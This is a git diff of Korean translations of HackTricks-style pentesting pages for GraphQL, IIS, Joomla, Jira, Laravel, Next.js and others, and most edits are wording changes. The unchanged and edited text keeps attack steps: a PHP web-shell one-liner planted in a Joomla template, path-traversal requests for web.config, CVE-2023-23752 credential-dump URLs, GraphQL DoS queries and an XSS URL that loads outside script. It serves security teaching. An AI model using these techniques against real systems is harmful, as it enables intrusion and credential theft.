\nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \ 'https://example.com/graphql' ``` -이를 완화하기 위해, 리소스 남용을 방지하기 위해 별칭 수 제한, 쿼리 복잡성 분석 또는 속도 제한을 구현하십시오. +이 문제를 완화하기 위해, 리소스 남용을 방지하기 위해 별칭 수 제한, 쿼리 복잡성 분석 또는 속도 제한을 구현하십시오. ### **배열 기반 쿼리 배치** @@ -514,7 +514,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ ### **지시문 과부하 취약점** -**지시문 과부하**는 GraphQL 서버가 과도하고 중복된 지시문을 허용할 때 발생합니다. 이는 서버의 파서와 실행기를 압도할 수 있으며, 특히 서버가 동일한 지시문 로직을 반복적으로 처리할 경우 더욱 그렇습니다. 적절한 검증이나 한계 없이 공격자는 수많은 중복 지시문이 포함된 쿼리를 작성하여 높은 계산 또는 메모리 사용을 유발하고, **서비스 거부(DoS)**를 초래할 수 있습니다. +**지시문 과부하**는 GraphQL 서버가 과도하고 중복된 지시문을 허용할 때 발생합니다. 이는 서버의 파서와 실행기를 압도할 수 있으며, 특히 서버가 동일한 지시문 로직을 반복적으로 처리할 경우 더욱 그렇습니다. 적절한 검증이나 한계 없이 공격자는 수많은 중복 지시문으로 쿼리를 작성하여 높은 계산 또는 메모리 사용을 유발하여 **서비스 거부(DoS)**를 초래할 수 있습니다. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -555,12 +555,12 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): 배치 GraphQL 쿼리 및 변형 수행에 중점을 둔 GraphQL 보안 감사 스크립트. - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 사용 중인 graphql 지문 인식 - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 스키마를 가져오고 민감한 데이터 검색, 권한 테스트, 스키마 무차별 대입 및 특정 유형에 대한 경로 찾기에 사용할 수 있는 도구 키트. -- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 독립형으로 사용하거나 [Burp 확장](https://github.com/doyensec/inql)으로 사용할 수 있습니다. +- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 독립형으로 사용하거나 [Burp extension](https://github.com/doyensec/inql)으로 사용할 수 있습니다. - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI 클라이언트로도 사용하여 공격을 자동화할 수 있습니다. -- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **GraphQL 스키마에서 특정 유형에 도달하는 다양한 방법을 나열하는 도구**. +- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **GraphQL 스키마에서 특정 유형에 도달하는 다양한 방법**을 나열하는 도구. - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL의 독립형 및 CLI 모드의 후계자 - [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 고급 GraphQL 테스트를 위한 Burp 확장. _**스캐너**_는 InQL v5.0의 핵심으로, GraphQL 엔드포인트 또는 로컬 introspection 스키마 파일을 분석할 수 있습니다. 모든 가능한 쿼리와 변형을 자동 생성하여 분석을 위한 구조화된 보기로 정리합니다. _**공격자**_ 구성 요소는 배치 GraphQL 공격을 실행할 수 있게 해주며, 이는 잘못 구현된 속도 제한을 우회하는 데 유용할 수 있습니다. -- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 일부 Graphql 데이터베이스의 도움을 받아 introspection이 비활성화된 상태에서도 스키마를 얻으려고 시도합니다. 이 데이터베이스는 변형 및 매개변수의 이름을 제안합니다. +- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 일부 Graphql 데이터베이스의 도움을 받아 introspection이 비활성화된 상태에서도 스키마를 얻으려고 시도합니다. ### 클라이언트 diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index 0eb807cc4..f4f6ef17b 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -57,7 +57,7 @@ X-FEServer: NHEXCHANGE2016 전체 작성 내용은 다음에서 확인하세요: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) > [!NOTE] -> 요약하자면, 애플리케이션의 폴더 안에 "**assemblyIdentity**" 파일과 "**namespaces**"에 대한 참조가 있는 여러 개의 web.config 파일이 있습니다. 이 정보를 통해 **실행 파일이 위치한 곳**을 알 수 있고 다운로드할 수 있습니다.\ +> 요약하자면, 애플리케이션의 폴더 안에 "**assemblyIdentity**" 파일과 "**namespaces**"에 대한 참조가 있는 여러 web.config 파일이 있습니다. 이 정보를 통해 **실행 파일이 위치한 곳**을 알 수 있고 다운로드할 수 있습니다.\ > **다운로드한 Dlls**에서 **새로운 namespaces**를 찾아 접근하고 web.config 파일을 얻어 새로운 namespaces와 assemblyIdentity를 찾을 수 있습니다.\ > 또한, **connectionstrings.config** 및 **global.asax** 파일에는 흥미로운 정보가 포함될 수 있습니다.\\ @@ -65,7 +65,7 @@ X-FEServer: NHEXCHANGE2016 ### **이진 파일 탐색** -**web.config** 파일에 접근하는 예는 아래와 같습니다: +**web.config** 파일에 접근하는 예는 아래에 나와 있습니다: ```markup GET /download_page?id=..%2f..%2fweb.config HTTP/1.1 Host: example-mvc-application.minded @@ -76,7 +76,7 @@ Host: example-mvc-application.minded - 웹페이지, 클라이언트 검증 및 JavaScript에 대한 **AppSettings** - 인증 및 런타임을 위한 **System.web** 구성 - **System.webServer** 모듈 설정 -- **Microsoft.Owin**, **Newtonsoft.Json**, **System.Web.Mvc**와 같은 여러 라이브러리에 대한 **Runtime** 어셈블리 바인딩 +- **Microsoft.Owin**, **Newtonsoft.Json**, 및 **System.Web.Mvc**와 같은 여러 라이브러리에 대한 **Runtime** 어셈블리 바인딩 이 설정은 **/bin/WebGrease.dll**과 같은 특정 파일이 애플리케이션의 /bin 폴더 내에 위치하고 있음을 나타냅니다. @@ -104,7 +104,7 @@ DLL이 **WebApplication1.Areas.Minded**라는 네임스페이스를 가져오는 ### 일반 파일 -[여기](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)에서 +[여기서](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) ``` C:\Apache\conf\httpd.conf C:\Apache\logs\access.log @@ -185,10 +185,10 @@ C:\xampp\tomcat\conf\server.xml 다음과 같은 오류가 표시되면: -![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) +![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) 서버가 **Host 헤더 내에서 올바른 도메인 이름을 받지 못했다는 의미**입니다.\ -웹 페이지에 접근하기 위해 제공된 **SSL 인증서**를 확인해 볼 수 있으며, 거기에서 도메인/서브도메인 이름을 찾을 수 있을지도 모릅니다. 만약 없다면, **VHosts를 무작위로 시도**하여 올바른 것을 찾아야 할 수도 있습니다. +웹 페이지에 접근하기 위해 제공된 **SSL 인증서**를 확인해 볼 수 있으며, 그 안에서 도메인/서브도메인 이름을 찾을 수 있을지도 모릅니다. 만약 없다면, **VHosts를 무작위로 시도**하여 올바른 것을 찾아야 할 수도 있습니다. ## 살펴볼 가치가 있는 오래된 IIS 취약점 @@ -205,7 +205,7 @@ C:\xampp\tomcat\conf\server.xml **metasploit**를 사용할 수도 있습니다: `use scanner/http/iis_shortname_scanner` -발견된 파일의 **최종 이름을 찾는** 좋은 방법은 **LLMs에 옵션을 요청**하는 것입니다. 이는 스크립트 [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)에서 수행됩니다. +발견된 파일의 **최종 이름을 찾는** 좋은 아이디어는 **LLMs에 옵션을 요청하는 것**입니다. 이는 [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) 스크립트에서 수행됩니다. ### 기본 인증 우회 @@ -217,7 +217,7 @@ C:\xampp\tomcat\conf\server.xml ASP.NET은 디버깅 모드를 포함하며, 그 파일은 `trace.axd`라고 불립니다. -이는 일정 기간 동안 애플리케이션에 대한 모든 요청의 매우 상세한 로그를 유지합니다. +이 파일은 일정 기간 동안 애플리케이션에 대한 모든 요청의 매우 상세한 로그를 유지합니다. 이 정보에는 원격 클라이언트 IP, 세션 ID, 모든 요청 및 응답 쿠키, 물리적 경로, 소스 코드 정보, 그리고 잠재적으로 사용자 이름과 비밀번호가 포함됩니다. @@ -229,17 +229,17 @@ ASP.NET은 디버깅 모드를 포함하며, 그 파일은 `trace.axd`라고 불 ASPXAUTH는 다음 정보를 사용합니다: -- **`validationKey`** (문자열): 서명 검증에 사용할 16진수 인코딩된 키. +- **`validationKey`** (문자열): 서명 검증에 사용할 16진수 인코딩 키. - **`decryptionMethod`** (문자열): (기본값 “AES”). -- **`decryptionIV`** (문자열): 16진수 인코딩된 초기화 벡터(기본값은 제로 벡터). -- **`decryptionKey`** (문자열): 복호화에 사용할 16진수 인코딩된 키. +- **`decryptionIV`** (문자열): 16진수 인코딩 초기화 벡터 (기본값은 제로 벡터). +- **`decryptionKey`** (문자열): 복호화에 사용할 16진수 인코딩 키. -그러나 일부 사람들은 이러한 매개변수의 **기본값**을 사용하고 **사용자의 이메일을 쿠키로 사용**합니다. 따라서 ASPXAUTH 쿠키를 사용하는 **동일한 플랫폼**의 웹을 찾고, 공격 대상 서버에서 **사칭하고자 하는 사용자의 이메일로 사용자 계정을 생성**하면, **두 번째 서버의 쿠키를 첫 번째 서버에서 사용**하여 사용자를 사칭할 수 있습니다.\ -이 공격은 이 [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)에서 성공했습니다. +그러나 일부 사람들은 이러한 매개변수의 **기본값**을 사용하고 **사용자의 이메일을 쿠키로 사용**합니다. 따라서 ASPXAUTH 쿠키를 사용하는 **동일한 플랫폼**의 웹을 찾고, 공격 대상 서버에서 **사칭하고자 하는 사용자의 이메일로 사용자 계정을 생성**하면, **두 번째 서버의 쿠키를 첫 번째 서버에서 사용하여 사용자를 사칭할 수 있습니다**.\ +이 공격은 이 [**작성물**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)에서 성공했습니다. ## 캐시된 비밀번호로 IIS 인증 우회 (CVE-2022-30209) -[전체 보고서 여기](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 코드의 버그가 **사용자가 제공한 비밀번호를 제대로 확인하지 않았기 때문에**, 비밀번호 해시가 이미 **캐시**에 있는 키에 해당하는 공격자는 해당 사용자로 로그인할 수 있습니다. +[전체 보고서 여기](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 코드의 버그가 **사용자가 제공한 비밀번호를 제대로 확인하지 않았기 때문에**, 비밀번호 해시가 **캐시**에 이미 있는 키에 해당하는 공격자는 해당 사용자로 로그인할 수 있습니다. ```python # script for sanity check > type test.py diff --git a/src/network-services-pentesting/pentesting-web/imagemagick-security.md b/src/network-services-pentesting/pentesting-web/imagemagick-security.md index 922eed287..465d836ae 100644 --- a/src/network-services-pentesting/pentesting-web/imagemagick-security.md +++ b/src/network-services-pentesting/pentesting-web/imagemagick-security.md @@ -4,7 +4,7 @@ 자세한 내용은 [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)에서 확인하세요. -다양한 이미지 처리 라이브러리인 ImageMagick은 방대한 옵션과 상세한 온라인 문서의 부족으로 인해 보안 정책 구성에 어려움을 겪습니다. 사용자들은 종종 단편적인 인터넷 소스를 기반으로 정책을 생성하여 잠재적인 잘못된 구성을 초래합니다. 이 라이브러리는 100개 이상의 이미지 형식을 지원하며, 각 형식은 복잡성과 취약성 프로필에 기여합니다. 이는 역사적인 보안 사건에서 입증되었습니다. +ImageMagick은 다재다능한 이미지 처리 라이브러리로, 방대한 옵션과 상세한 온라인 문서의 부족으로 인해 보안 정책 구성에 어려움을 겪습니다. 사용자들은 종종 단편적인 인터넷 소스를 기반으로 정책을 생성하여 잠재적인 잘못된 구성을 초래합니다. 이 라이브러리는 100개 이상의 다양한 이미지 형식을 지원하며, 각 형식은 복잡성과 취약성 프로필에 기여합니다. 이는 역사적인 보안 사건에서 입증되었습니다. ## 더 안전한 정책을 향하여 @@ -25,15 +25,15 @@ ImageMagick의 정책 패턴은 대소문자를 구분한다는 점을 주목하 ## 리소스 제한 -ImageMagick은 적절하게 구성되지 않으면 서비스 거부 공격에 취약하다. 정책에서 명시적인 리소스 제한을 설정하는 것은 이러한 취약점을 방지하는 데 필수적이다. +ImageMagick은 적절하게 구성되지 않으면 서비스 거부 공격에 취약하다. 이러한 취약점을 방지하기 위해 정책에서 명시적인 리소스 제한을 설정하는 것이 필수적이다. ## 정책 단편화 -정책은 서로 다른 ImageMagick 설치에서 단편화될 수 있으며, 이는 잠재적인 충돌이나 덮어쓰기를 초래할 수 있다. 다음과 같은 명령을 사용하여 활성 정책 파일을 찾고 확인하는 것이 권장된다: +정책은 서로 다른 ImageMagick 설치에서 단편화될 수 있으며, 이로 인해 잠재적인 충돌이나 덮어쓰기가 발생할 수 있다. 다음과 같은 명령을 사용하여 활성 정책 파일을 찾고 확인하는 것이 권장된다: ```shell $ find / -iname policy.xml ``` -## 시작하기 위한 제한적인 정책 +## 시작하기, 제한적인 정책 제한적인 정책 템플릿이 제안되었으며, 이는 엄격한 리소스 제한 및 접근 제어에 중점을 두고 있습니다. 이 템플릿은 특정 애플리케이션 요구 사항에 맞춘 맞춤형 정책 개발을 위한 기준선 역할을 합니다. diff --git a/src/network-services-pentesting/pentesting-web/jira.md b/src/network-services-pentesting/pentesting-web/jira.md index 133735d92..fab96516f 100644 --- a/src/network-services-pentesting/pentesting-web/jira.md +++ b/src/network-services-pentesting/pentesting-web/jira.md @@ -4,7 +4,7 @@ ## 권한 확인 -Jira에서 **권한은** 인증된 사용자든 아닌 사용자든 `/rest/api/2/mypermissions` 또는 `/rest/api/3/mypermissions` 엔드포인트를 통해 확인할 수 있습니다. 이러한 엔드포인트는 사용자의 현재 권한을 드러냅니다. **비인증 사용자에게 권한이 있는 경우**는 **보안 취약점**을 나타내며, 이는 **보상**의 대상이 될 수 있습니다. 마찬가지로, **인증된 사용자에게 예상치 못한 권한**이 있는 경우도 **취약점**을 강조합니다. +Jira에서 **권한은** 인증된 사용자든 아닌 사용자든 `/rest/api/2/mypermissions` 또는 `/rest/api/3/mypermissions` 엔드포인트를 통해 확인할 수 있습니다. 이러한 엔드포인트는 사용자의 현재 권한을 드러냅니다. **비인증 사용자에게 권한이 있는 경우**는 **보안 취약점**을 나타내며, 이는 **보상**을 받을 수 있는 가능성이 있습니다. 마찬가지로, **인증된 사용자에게 예상치 못한 권한**이 있는 경우도 **취약점**을 강조합니다. 중요한 **업데이트**가 **2019년 2월 1일**에 이루어졌으며, 'mypermissions' 엔드포인트에 **'permission' 매개변수**를 포함해야 합니다. 이 요구 사항은 쿼리되는 권한을 명시하여 **보안을 강화**하는 것을 목표로 합니다: [check it here](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) @@ -93,9 +93,9 @@ public BodyType getBodyType() { return BodyType.NONE; } public OutputType getOutputType() { return OutputType.BLOCK; } } ``` -이 플러그인이 XSS와 같은 일반적인 웹 취약점에 취약할 수 있음을 관찰할 수 있습니다. 예를 들어, 이전 예제는 사용자가 제공한 데이터를 반영하기 때문에 취약합니다. +이 플러그인은 XSS와 같은 일반적인 웹 취약점에 취약할 수 있음을 관찰할 수 있습니다. 예를 들어, 이전 예제는 사용자가 제공한 데이터를 반영하기 때문에 취약합니다. -XSS가 발견되면, [**이 github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence)에서 XSS의 영향을 증가시킬 수 있는 몇 가지 페이로드를 찾을 수 있습니다. +XSS가 발견되면, [**이 github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence)에서 XSS의 영향을 증가시킬 수 있는 일부 페이로드를 찾을 수 있습니다. ## 백도어 플러그인 diff --git a/src/network-services-pentesting/pentesting-web/joomla.md b/src/network-services-pentesting/pentesting-web/joomla.md index 0a220d91e..1453469a5 100644 --- a/src/network-services-pentesting/pentesting-web/joomla.md +++ b/src/network-services-pentesting/pentesting-web/joomla.md @@ -71,11 +71,11 @@ curl https://www.joomla.org/ | grep Joomla | grep generator ```bash droopescan scan joomla --url http://joomla-site.local/ ``` -In[ **80,443 - Pentesting Web Methodology는 Joomla를 스캔할 수 있는 CMS 스캐너에 대한 섹션입니다**](./#cms-scanners). +In[ **80,443 - Pentesting Web Methodology는 CMS 스캐너에 대한 섹션입니다**](./#cms-scanners) Joomla를 스캔할 수 있습니다. -### API 인증되지 않은 정보 유출: +### API 인증되지 않은 정보 공개: -버전 4.0.0부터 4.2.7까지는 인증되지 않은 정보 유출(CVE-2023-23752)에 취약하여 자격 증명 및 기타 정보를 덤프합니다. +버전 4.0.0에서 4.2.7까지는 인증되지 않은 정보 공개(CVE-2023-23752)에 취약하여 자격 증명 및 기타 정보를 덤프합니다. - 사용자: `http:///api/v1/users?public=true` - 구성 파일: `http:///api/index.php/v1/config/application?public=true` @@ -92,21 +92,21 @@ admin:admin ``` ## RCE -만약 **관리자 자격 증명**을 얻었다면, **PHP 코드** 조각을 추가하여 **RCE**를 얻을 수 있습니다. 우리는 **템플릿**을 **커스터마이즈**하여 이를 수행할 수 있습니다. +**관리자 자격 증명**을 얻었다면 **RCE를 수행할 수 있습니다**. 이를 위해 **PHP 코드** 조각을 추가하여 **RCE**를 얻을 수 있습니다. 우리는 **템플릿을 사용자 정의**하여 이를 수행할 수 있습니다. -1. `Configuration` 아래의 왼쪽 하단에서 **`Templates`**를 클릭하여 템플릿 메뉴를 불러옵니다. +1. `Configuration` 아래의 **`Templates`**를 클릭하여 템플릿 메뉴를 엽니다. 2. **템플릿** 이름을 클릭합니다. `Template` 열 헤더 아래의 **`protostar`**를 선택합시다. 그러면 **`Templates: Customise`** 페이지로 이동합니다. -3. 마지막으로, 페이지를 클릭하여 **페이지 소스**를 불러올 수 있습니다. **`error.php`** 페이지를 선택합시다. 다음과 같이 **코드 실행을 위한 PHP 원라이너**를 추가할 것입니다: +3. 마지막으로, 페이지를 클릭하여 **페이지 소스**를 엽니다. **`error.php`** 페이지를 선택합시다. 다음과 같이 **코드 실행을 위한 PHP 원라이너**를 추가합니다: 1. **`system($_GET['cmd']);`** 4. **저장 및 닫기** 5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id` ## From XSS to RCE -- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla 취약점 스크립트로 **XSS를 RCE 또는 기타 치명적인 취약점으로 상승**시킵니다. 더 많은 정보는 [**이 게시물**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)을 확인하세요. 이는 **Joomla 버전 5.X.X, 4.X.X, 및 3.X.X에 대한 지원을 제공하며, 다음을 허용합니다:** +- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla 취약점 스크립트로 **XSS를 RCE 또는 기타 치명적인 취약점으로 상승**시킵니다. 자세한 내용은 [**이 게시물**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)을 확인하세요. **Joomla 버전 5.X.X, 4.X.X 및 3.X.X를 지원하며 다음을 허용합니다:** - _**권한 상승:**_ Joomla에 사용자를 생성합니다. - _**(RCE) 내장 템플릿 편집:**_ Joomla의 내장 템플릿을 편집합니다. -- _**(커스텀) 커스텀 익스플로잇:**_ 서드파티 Joomla 플러그인을 위한 커스텀 익스플로잇입니다. +- _**(커스텀) 사용자 정의 익스플로잇:**_ 서드파티 Joomla 플러그인을 위한 사용자 정의 익스플로잇입니다. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/jsp.md b/src/network-services-pentesting/pentesting-web/jsp.md index 6ce7d9a9f..8f27281db 100644 --- a/src/network-services-pentesting/pentesting-web/jsp.md +++ b/src/network-services-pentesting/pentesting-web/jsp.md @@ -4,7 +4,7 @@ ## **getContextPath** 남용 -정보는 [여기](https://blog.rakeshmane.com/2020/04/jsp-contextpath-link-manipulation-xss.html)에서 확인하세요. +정보는 [여기](https://blog.rakeshmane.com/2020/04/jsp-contextpath-link-manipulation-xss.html)에서 확인할 수 있습니다. ``` http://127.0.0.1:8080//rakeshmane.com/xss.js#/..;/..;/contextPathExample/test.jsp ``` diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index d213441a6..ad4ee6569 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -18,7 +18,7 @@ Laravel이 **디버깅 모드**에 있으면 **코드**와 **민감한 데이터 Laravel은 쿠키와 기타 자격 증명을 암호화하는 데 사용하는 APP을 `.env`라는 파일에 저장하며, 이는 다음 경로를 통해 접근할 수 있습니다: `/../.env` -Laravel은 또한 이 정보를 디버그 페이지에 표시합니다(오류가 발생하고 활성화될 때 나타남). +Laravel은 또한 이 정보를 디버그 페이지(오류가 발생하고 활성화될 때 나타남) 내에 표시합니다. Laravel의 비밀 APP_KEY를 사용하여 쿠키를 복호화하고 다시 암호화할 수 있습니다: diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md index 0ac1a6b8a..fa54015ae 100644 --- a/src/network-services-pentesting/pentesting-web/moodle.md +++ b/src/network-services-pentesting/pentesting-web/moodle.md @@ -67,7 +67,7 @@ cmsmap http://moodle.example.com/ ## **RCE** -당신은 **관리자** 역할이 필요하며 **"사이트 관리"** 탭 안에 **플러그인을 설치할 수 있다**\*\*:\*\* +당신은 **관리자** 역할을 가져야 하며 **"사이트 관리"** 탭 안에 **플러그인을 설치할 수 있다**\*\*:\*\* ![](<../../images/image (630).png>) diff --git a/src/network-services-pentesting/pentesting-web/nextjs.md b/src/network-services-pentesting/pentesting-web/nextjs.md index 48d144713..afe29df4d 100644 --- a/src/network-services-pentesting/pentesting-web/nextjs.md +++ b/src/network-services-pentesting/pentesting-web/nextjs.md @@ -52,11 +52,11 @@ my-nextjs-app/ - **app/components/:** 다양한 페이지와 레이아웃에서 활용할 수 있는 재사용 가능한 React 구성 요소를 보관합니다. - **app/styles/:** 구성 요소 범위 스타일링을 위한 전역 CSS 파일 및 CSS 모듈을 포함합니다. - **app/utils/:** 애플리케이션 전반에서 공유할 수 있는 유틸리티 함수, 헬퍼 모듈 및 기타 비 UI 로직을 포함합니다. -- **.env.local:** 로컬 개발 환경에 특정한 환경 변수를 저장합니다. 이러한 변수는 버전 관리에 **커밋되지** 않습니다. +- **.env.local:** 로컬 개발 환경에 특정한 환경 변수를 저장합니다. 이러한 변수는 **버전 관리에 커밋되지 않습니다.** - **next.config.js:** webpack 구성, 환경 변수 및 보안 설정을 포함하여 Next.js 동작을 사용자 정의합니다. - **tsconfig.json:** 프로젝트에 대한 TypeScript 설정을 구성하여 타입 검사 및 기타 TypeScript 기능을 활성화합니다. - **package.json:** 프로젝트 종속성, 스크립트 및 메타데이터를 관리합니다. -- **README.md:** 프로젝트에 대한 문서 및 정보를 제공하며, 설정 지침, 사용 가이드 및 기타 관련 세부 정보를 포함합니다. +- **README.md:** 프로젝트에 대한 문서 및 정보를 제공하며, 설정 지침, 사용 가이드라인 및 기타 관련 세부 정보를 포함합니다. - **yarn.lock / package-lock.json:** 프로젝트의 종속성을 특정 버전으로 고정하여 다양한 환경에서 일관된 설치를 보장합니다. ## Next.js의 클라이언트 측 @@ -287,7 +287,7 @@ return ( ### 잠재적인 클라이언트 측 취약점 -Next.js는 안전한 기반을 제공하지만, 부적절한 코딩 관행은 취약점을 초래할 수 있습니다. 주요 클라이언트 측 취약점은 다음과 같습니다: +Next.js는 안전한 기반을 제공하지만, 부적절한 코딩 관행은 취약점을 도입할 수 있습니다. 주요 클라이언트 측 취약점은 다음과 같습니다:
@@ -334,7 +334,7 @@ return
**취약한 코드의 예:** -Next.js 애플리케이션은 사용자가 파일을 업로드하고 다운로드할 수 있도록 합니다. 다운로드 기능은 클라이언트 측에서 구현되어 있으며, 사용자가 다운로드할 파일 경로를 지정할 수 있습니다. +Next.js 애플리케이션은 사용자가 파일을 업로드하고 다운로드할 수 있도록 합니다. 다운로드 기능은 클라이언트 측에서 구현되며, 사용자가 다운로드할 파일 경로를 지정할 수 있습니다. ```jsx // pages/download.js import { useState } from "react" @@ -381,7 +381,7 @@ placeholder="Enter file path" #### 왜 취약한가 -- **입력 검증 부족**: 클라이언트 측에서 임의의 `filePath` 입력을 허용하여 경로 탐색을 가능하게 합니다. +- **입력 검증 부족**: 클라이언트 측에서 임의의 `filePath` 입력을 허용하여 경로 탐색이 가능하게 합니다. - **클라이언트 입력 신뢰**: 서버 측 API가 `filePath`를 신뢰하고 정화 없이 처리합니다. - **잠재적 API 작업**: API 엔드포인트가 상태 변경 작업(예: 파일 삭제, 수정)을 수행하는 경우 CSPT를 통해 악용될 수 있습니다. @@ -441,19 +441,19 @@ export default HomePage Next.js는 서버리스 함수로 API 엔드포인트를 생성할 수 있습니다. 이러한 함수는 전용 서버 없이 필요에 따라 실행됩니다. -**Use Cases:** +**사용 사례:** - 양식 제출 처리. -- 데이터베이스와 상호작용. +- 데이터베이스와 상호 작용. - 데이터 처리 또는 서드파티 API와 통합. -**Implementation:** +**구현:** Next.js 13에서 `app` 디렉토리가 도입되면서 라우팅 및 API 처리가 더 유연하고 강력해졌습니다. 이 현대적인 접근 방식은 파일 기반 라우팅 시스템과 밀접하게 일치하지만 서버 및 클라이언트 구성 요소에 대한 지원을 포함한 향상된 기능을 도입합니다. -#### Basic Route Handler +#### 기본 라우트 핸들러 -**File Structure:** +**파일 구조:** ```go my-nextjs-app/ ├── app/ @@ -486,7 +486,7 @@ body: JSON.stringify({ name: "John Doe" }), **설명:** - **위치:** API 경로는 `app/api/` 디렉토리 아래에 배치됩니다. -- **파일 이름 지정:** 각 API 엔드포인트는 `route.js` 또는 `route.ts` 파일이 포함된 자체 폴더에 위치합니다. +- **파일 명명:** 각 API 엔드포인트는 `route.js` 또는 `route.ts` 파일이 포함된 자체 폴더에 위치합니다. - **내보낸 함수:** 단일 기본 내보내기 대신 특정 HTTP 메서드 함수(예: `GET`, `POST`)가 내보내집니다. - **응답 처리:** `Response` 생성자를 사용하여 응답을 반환하며, 헤더 및 상태 코드에 대한 더 많은 제어를 허용합니다. @@ -532,7 +532,7 @@ headers: { "Content-Type": "application/json" }, **설명:** - **다중 내보내기:** 각 HTTP 메서드(`GET`, `PUT`, `DELETE`)는 고유한 내보내기 함수를 가지고 있습니다. -- **매개변수:** 두 번째 인수는 `params`를 통해 경로 매개변수에 접근할 수 있게 합니다. +- **매개변수:** 두 번째 인수는 `params`를 통해 경로 매개변수에 접근할 수 있습니다. - **향상된 응답:** 응답 객체에 대한 더 큰 제어를 제공하여 정확한 헤더 및 상태 코드 관리를 가능하게 합니다.
@@ -558,7 +558,7 @@ headers: { "Content-Type": "application/json" }, ``` **설명:** -- **구문:** `[...]`는 모든 중첩 경로를 포착하는 catch-all 세그먼트를 나타냅니다. +- **구문:** `[...]`는 모든 중첩 경로를 포착하는 포괄적인 세그먼트를 나타냅니다. - **용도:** 다양한 경로 깊이나 동적 세그먼트를 처리해야 하는 API에 유용합니다. **중첩 경로 예:** @@ -667,7 +667,7 @@ res.status(405).end(`Method ${method} Not Allowed`); #### 다양한 HTTP 메서드 처리 -기본 API 경로 예제는 단일 함수 내에서 모든 HTTP 메서드를 처리하지만, 각 메서드를 명시적으로 처리하도록 코드를 구조화하여 더 나은 명확성과 유지 관리를 할 수 있습니다. +기본 API 경로 예제는 단일 함수 내에서 모든 HTTP 메서드를 처리하지만, 코드 구조를 각 메서드를 명시적으로 처리하도록 구성하여 더 나은 명확성과 유지 관리를 할 수 있습니다. **예제:** ```javascript @@ -787,13 +787,13 @@ import "server-only" **위치:** 프로젝트의 루트 또는 `src/` 내. -**목적:** 요청이 처리되기 전에 서버 측 서버리스 함수에서 코드를 실행하여 인증, 리디렉션 또는 응답 수정과 같은 작업을 수행할 수 있게 합니다. +**목적:** 요청이 처리되기 전에 서버 측 서버리스 함수에서 코드를 실행하여 인증, 리디렉션 또는 응답 수정과 같은 작업을 수행할 수 있게 함. **실행 흐름:** -1. **수신 요청:** 미들웨어가 요청을 가로챕니다. -2. **처리:** 요청에 따라 작업을 수행합니다 